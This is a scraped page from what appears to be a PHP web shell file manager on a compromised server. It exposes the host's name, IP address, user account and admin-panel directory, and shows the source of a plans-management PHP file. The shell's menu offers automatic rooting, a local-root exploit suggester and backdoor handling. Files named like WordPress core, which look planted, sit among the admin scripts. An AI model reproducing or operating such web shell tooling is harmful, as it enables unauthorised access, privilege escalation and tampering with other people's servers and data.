Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
assignment.work.zone /
admin /
Delete
Unzip
Name
Size
Permission
Date
Action
includes
[ DIR ]
drwxr-xr-x
2026-03-11 22:58
.htaccess
197
B
-r--r--r--
2026-04-01 03:43
404.php
5.09
KB
-rw-r--r--
2026-03-12 12:29
admin-profile.php
4.68
KB
-rw-r--r--
2026-03-13 19:31
assignments.php
20.91
KB
-rw-r--r--
2026-03-30 15:12
deposits.php
8.48
KB
-rw-r--r--
2026-03-12 13:18
error_log
3.7
KB
-rw-r--r--
2026-03-23 09:01
index.php
137
B
-rw-r--r--
2026-03-12 12:26
index_real.php
3.95
KB
-rw-r--r--
2026-03-13 19:31
login.php
2.46
KB
-rw-r--r--
2026-03-13 19:32
logout.php
88
B
-rw-r--r--
2026-03-11 22:57
maintenance.php
3.68
KB
-rw-r--r--
2026-03-12 12:35
payment-methods.php
7.03
KB
-rw-r--r--
2026-03-12 12:35
plans.php
7.85
KB
-rw-r--r--
2026-03-12 12:35
referrals.php
4.91
KB
-rw-r--r--
2026-03-31 10:44
settings.php
17.83
KB
-rw-r--r--
2026-03-31 10:21
tickets.php
9.89
KB
-rw-r--r--
2026-03-12 13:15
users.php
19.8
KB
-rw-r--r--
2026-03-29 05:10
withdraw-methods.php
8.28
KB
-rw-r--r--
2026-03-12 15:17
withdrawals.php
6.26
KB
-rw-r--r--
2026-03-12 15:18
wp-blog-header.php
2.74
KB
-r--r--r--
2026-04-01 03:43
wp-cron.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
Save
Rename
<?php require_once '../includes/config.php'; require_once 'includes/header.php'; require_once 'includes/sidebar.php'; $success = ""; $error = ""; if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["save_plan"])) { $id = isset($_POST["plan_id"]) ? (int)$_POST["plan_id"] : 0; $name = $_POST["name"]; $price = (float)$_POST["price"]; $pay = (float)$_POST["assignment_pay"]; $validity_type = $_POST["validity_type"]; $validity_days = (int)$_POST["validity_days"]; $features = $_POST["features"]; $is_premium = isset($_POST["is_premium"]) ? 1 : 0; if ($id > 0) { $stmt = $pdo->prepare("UPDATE plans SET name=?, price=?, assignment_pay=?, validity_type=?, validity_days=?, features=?, is_premium=? WHERE id=?"); $stmt->execute([$name, $price, $pay, $validity_type, $validity_days, $features, $is_premium, $id]); $success = "Plan updated successfully."; } else { $stmt = $pdo->prepare("INSERT INTO plans (name, price, assignment_pay, validity_type, validity_days, features, is_premium) VALUES (?, ?, ?, ?, ?, ?, ?)"); $stmt->execute([$name, $price, $pay, $validity_type, $validity_days, $features, $is_premium]); $success = "New plan added successfully."; } } if (isset($_GET["delete"]) && isset($_GET["id"])) { $id = (int)$_GET["id"]; $pdo->prepare("DELETE FROM plans WHERE id = ?")->execute([$id]); $success = "Plan deleted successfully."; } $edit_plan = null; if (isset($_GET["edit"]) && isset($_GET["id"])) { $stmt = $pdo->prepare("SELECT * FROM plans WHERE id = ?"); $stmt->execute([(int)$_GET["id"]]); $edit_plan = $stmt->fetch(); } $stmt = $pdo->query("SELECT * FROM plans ORDER BY id ASC"); $plans = $stmt->fetchAll(); ?> <div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:30px;"> <h2>Plan Management</h2> <a href="plans.php" class="btn-primary" style="padding:10px 20px; font-size:0.9rem;">Add New Plan</a> </div> <?php if ($success): ?> <div class="badge badge-success" style="display:block; margin-bottom:20px; text-align:center; padding:15px; border-radius:8px;"><?php echo $success; ?></div> <?php endif; ?> <div class="grid" style="grid-template-columns: 1.5fr 1fr; align-items: start;"> <div class="card" style="padding:0; overflow:hidden;"> <div style="overflow-x:auto;"> <table class="admin-table"> <thead> <tr> <th>ID</th> <th>Plan Name</th> <th>Price</th> <th>Pay/Work</th> <th>Validity</th> <th>Actions</th> </tr> </thead> <tbody> <?php foreach ($plans as $p): ?> <tr> <td>#<?php echo $p["id"]; ?></td> <td style="font-weight:600;"> <?php echo htmlspecialchars($p["name"]); ?> <?php if ($p["is_premium"]): ?><span style="color:#f1c40f; margin-left:5px;"><i class="fas fa-star"></i></span><?php endif; ?> </td> <td style="color:var(--primary-color);">Rs <?php echo number_format($p["price"], 2); ?></td> <td>Rs <?php echo number_format($p["assignment_pay"], 2); ?></td> <td><?php echo $p["validity_type"] == "lifetime" ? "Lifetime" : $p["validity_days"] . " Days"; ?></td> <td> <div style="display:flex; gap:5px;"> <a href="?edit=1&id=<?php echo $p["id"]; ?>" class="btn-outline" style="padding:5px; width:30px; text-align:center;"><i class="fas fa-edit"></i></a> <a href="?delete=1&id=<?php echo $p["id"]; ?>" onclick="return confirm(\'Delete this plan?\')" class="btn-outline" style="padding:5px; width:30px; text-align:center; border-color:#e74c3c; color:#e74c3c;"><i class="fas fa-trash"></i></a> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> </div> <div class="card"> <h3 style="margin-bottom:20px;"><?php echo $edit_plan ? "Edit" : "Add New"; ?> Plan</h3> <form method="POST"> <?php if ($edit_plan): ?> <input type="hidden" name="plan_id" value="<?php echo $edit_plan["id"]; ?>"> <?php endif; ?> <div class="form-group"> <label style="display:block; margin-bottom:8px; font-size:0.9rem;">Plan Name</label> <input type="text" name="name" class="form-control" placeholder="e.g. Starter Pack" value="<?php echo $edit_plan ? htmlspecialchars($edit_plan["name"]) : ""; ?>" required> </div> <div style="display:grid; grid-template-columns:1fr 1fr; gap:15px;"> <div class="form-group"> <label style="display:block; margin-bottom:8px; font-size:0.9rem;">Price (Rs)</label> <input type="number" step="0.01" name="price" class="form-control" value="<?php echo $edit_plan ? $edit_plan["price"] : ""; ?>" required> </div> <div class="form-group"> <label style="display:block; margin-bottom:8px; font-size:0.9rem;">Pay Per Work (Rs)</label> <input type="number" step="0.01" name="assignment_pay" class="form-control" value="<?php echo $edit_plan ? $edit_plan["assignment_pay"] : ""; ?>" required> </div> </div> <div style="display:grid; grid-template-columns:1fr 1fr; gap:15px;"> <div class="form-group"> <label style="display:block; margin-bottom:8px; font-size:0.9rem;">Validity Type</label> <select name="validity_type" class="form-control" style="background:var(--card-bg-dark); color:inherit;"> <option value="days" <?php echo ($edit_plan && $edit_plan["validity_type"] == "days") ? "selected" : ""; ?>>Days</option> <option value="lifetime" <?php echo ($edit_plan && $edit_plan["validity_type"] == "lifetime") ? "selected" : ""; ?>>Lifetime</option> </select> </div> <div class="form-group"> <label style="display:block; margin-bottom:8px; font-size:0.9rem;">Validity Days</label> <input type="number" name="validity_days" class="form-control" value="<?php echo $edit_plan ? $edit_plan["validity_days"] : "30"; ?>"> </div> </div> <div class="form-group"> <label style="display:block; margin-bottom:8px; font-size:0.9rem;">Features (One per line)</label> <textarea name="features" class="form-control" rows="4" style="resize:none;"><?php echo $edit_plan ? htmlspecialchars($edit_plan["features"]) : ""; ?></textarea> </div> <div class="form-group" style="display:flex; align-items:center; gap:10px; margin-bottom:25px;"> <input type="checkbox" name="is_premium" id="is_premium" <?php echo ($edit_plan && $edit_plan["is_premium"]) ? "checked" : ""; ?>> <label for="is_premium">Mark as Premium Plan</label> </div> <button type="submit" name="save_plan" class="btn-primary" style="width:100%"><?php echo $edit_plan ? "Update" : "Create"; ?> Plan</button> <?php if ($edit_plan): ?> <a href="plans.php" style="display:block; text-align:center; margin-top:15px; font-size:0.9rem; color:var(--text-muted);">Cancel Editing</a> <?php endif; ?> </form> </div> </div> <?php require_once "includes/footer.php"; ?>